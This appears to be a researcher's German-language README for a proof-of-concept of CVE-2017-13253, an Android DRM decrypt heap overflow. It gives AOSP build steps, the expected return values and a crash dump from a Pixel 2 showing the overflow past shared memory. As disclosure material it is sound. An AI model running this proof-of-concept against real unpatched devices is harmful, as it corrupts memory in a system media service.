
PoC-Code für CVE-2017-13253
PoC-Code für CVE-2017-13253.
Die vollständige Erläuterung ist hier verfügbar. Beachten Sie, dass die Zahlen etwas von denen im Blog-Beitrag abweichen, da ich festgestellt habe, dass die Wahrscheinlichkeit eines Absturzes bei einem Heap von 0x2000 höher ist (bei ausreichender Ausführung wird es natürlich trotzdem abstürzen).
Bei Fragen/Problemen/Kommentaren können Sie mich gerne auf Twitter kontaktieren (@tamir_zb).
Um dies zu bauen:
AOSP/external ab. cd AOSP
source build/envsetup.sh
make icrypto_overflow
Die Ausführung gegen eine nicht gepatchte Version von Android (8.0–8.1 vor März 2018) sollte zu einem Überlauf führen. Dies kann je nach Schreibbarkeit der überschriebenen Daten zu einem Absturz führen.
Der Code sollte die Ausgabe der decrypt-Methode ausgeben, die variieren kann:
decrypt BAD_VALUE (-22) zurückgeben.decrypt die Menge der kopierten Daten zurückgeben.decrypt UNKNOWN_ERROR (-32) zurückgeben.decrypt 0 zurückgeben.Hier ein teilweiser Absturz-Dump, der durch die Ausführung dieses PoC entstanden ist:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
Wie Sie sehen, ist die Fehleradresse der Speicher direkt nach dem Shared Memory. Da dieser Speicher schreibgeschützt ist, führte der Überlauf zu einem Segmentierungsfehler.